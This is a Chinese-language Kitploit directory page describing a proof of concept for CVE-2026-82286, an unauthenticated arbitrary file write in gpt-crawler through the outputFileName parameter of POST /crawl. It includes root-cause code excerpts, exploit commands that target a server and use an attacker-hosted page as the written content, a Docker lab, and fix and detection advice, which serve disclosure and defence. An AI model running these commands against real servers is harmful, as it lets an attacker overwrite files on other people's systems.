Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-82286-gpt-crawler-Arbitrary-File-Write — CVE-2026-82286 — gpt-crawler <=1.5.1 未认证任意文件写入,通过 outputFileName(POST /crawl)实现。包含 PoC 及自包含 Docker 实验环境。CVSS 8.6,CWE-22。 | Kitploit
工具/GitHubGitHub/biitts/cve-2026-82286-gpt-crawler-arbitrary-file-write
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubbiitts/cve-2026-82286-gpt-crawler-arbitrary-file-write

CVE-2026-82286-gpt-crawler-Arbitrary-File-Write

CVE-2026-82286 — gpt-crawler <=1.5.1 未认证任意文件写入,通过 outputFileName(POST /crawl)实现。包含 PoC 及自包含 Docker 实验环境。CVSS 8.6,CWE-22。

查看仓库
1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-82286 — gpt-crawler 未认证任意文件写入

针对 BuilderIO/gpt-crawler(约 22k ★)中未认证任意文件写入漏洞的概念验证,攻击向量为 POST /crawl API 端点的 outputFileName 参数。

CVECVE-2026-82286
产品gpt-crawler (BuilderIO)
受影响版本<= 1.5.1(最新发布版;默认分支 HEAD 同样受影响)
漏洞类型路径遍历 / 任意文件写入(CWE-22、CWE-73)
CVSS 3.18.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L(高危)
认证无(未认证)
前置条件以 API 服务器模式运行(npm run start:server)
状态已确认 端到端验证(截至 2026-08-29 未修复)

根本原因

API 服务器(src/server.ts)暴露了 POST /crawl 端点且无任何认证。JSON 请求体被直接解析为爬虫的 Config;outputFileName 仅通过 z.string() 进行校验——没有任何路径约束:

root@kitploit:~
// src/config.ts
outputFileName: z.string(),

在 src/core.ts 中,write() 直接根据该攻击者可控的字符串构建输出路径,并对其调用 fs.writeFile():

root@kitploit:~
// src/core.ts  (write)
const nextFileName = (): string =>
  `${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));

因此,远程未认证攻击者可以控制写入预期 storage/ 输出区域之外文件的完整路径——通过绝对路径(/tmp/x、/home/<user>/x)或 ../ 遍历。文件内容为爬取结果 [{title,url,html}],其字段来自攻击者让爬虫访问的页面(将 url 设置为攻击者控制的服务器),因此内容也受攻击者影响。

唯一的限制是强制添加的 -<N>.json 后缀(文件名始终以 .json 结尾)以及 JSON 数组内容包装——这也是该漏洞被评分为任意文件写入(I:H)而非直接 RCE 的原因。

漏洞利用

root@kitploit:~
python3 exploit.py \
  -t http://TARGET:3000 \
  -u http://ATTACKER:8081/index.html \   # 页面内容将写入目标文件
  -o /home/myuser/PWNED                    # -> 写入 /home/myuser/PWNED-1.json

该端点会在 HTTP 响应中回显所写入文件的内容。经验性证据是文件出现在目标文件系统上攻击者选择的路径(参见 EVIDENCE.txt)。

复现步骤

root@kitploit:~
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json     # <- 写入 storage/ 之外,未认证

清理:docker rm -f gptc-vuln; pkill -f 'http.server 8081'。

影响

未认证的网络攻击者可以在任意路径创建或覆盖文件(受进程用户权限和 -<N>.json 后缀限制),且内容部分受攻击者控制。根据部署方式的不同,这可能实现篡改配置/数据文件、破坏应用状态(完整性/可用性),并且在目标后续会消费所写入的 *.json 文件的情况下,可进一步利用。

受影响面说明

该漏洞点仅在 API 服务器模式下可达(src/server.ts,通过 npm run start:server / containerapp 部署启动),而非默认的 CLI 模式。服务器绑定 API_HOST(默认 localhost);实际部署中暴露 API 时会将其设置为 0.0.0.0(如 containerapp 镜像所做),从而使该端点可远程访问。

修复建议

  • 将 outputFileName 解析到固定基础目录,并拒绝任何逃逸该目录的结果(path.resolve(base, name) + 前缀检查);剥离 .. 和绝对路径。
  • 为 POST /crawl 添加认证/授权机制。
  • 将爬取输出文件名视为服务器端控制,而非客户端提供。

检测方法

查找 POST /crawl 请求体中包含 /、\ 或 .. 的 outputFileName,以及出现在爬虫 storage/ 目录之外的 *-1.json 文件。

致谢

研究与 PoC:Caio Fabrício (BiiTts)。

下载工具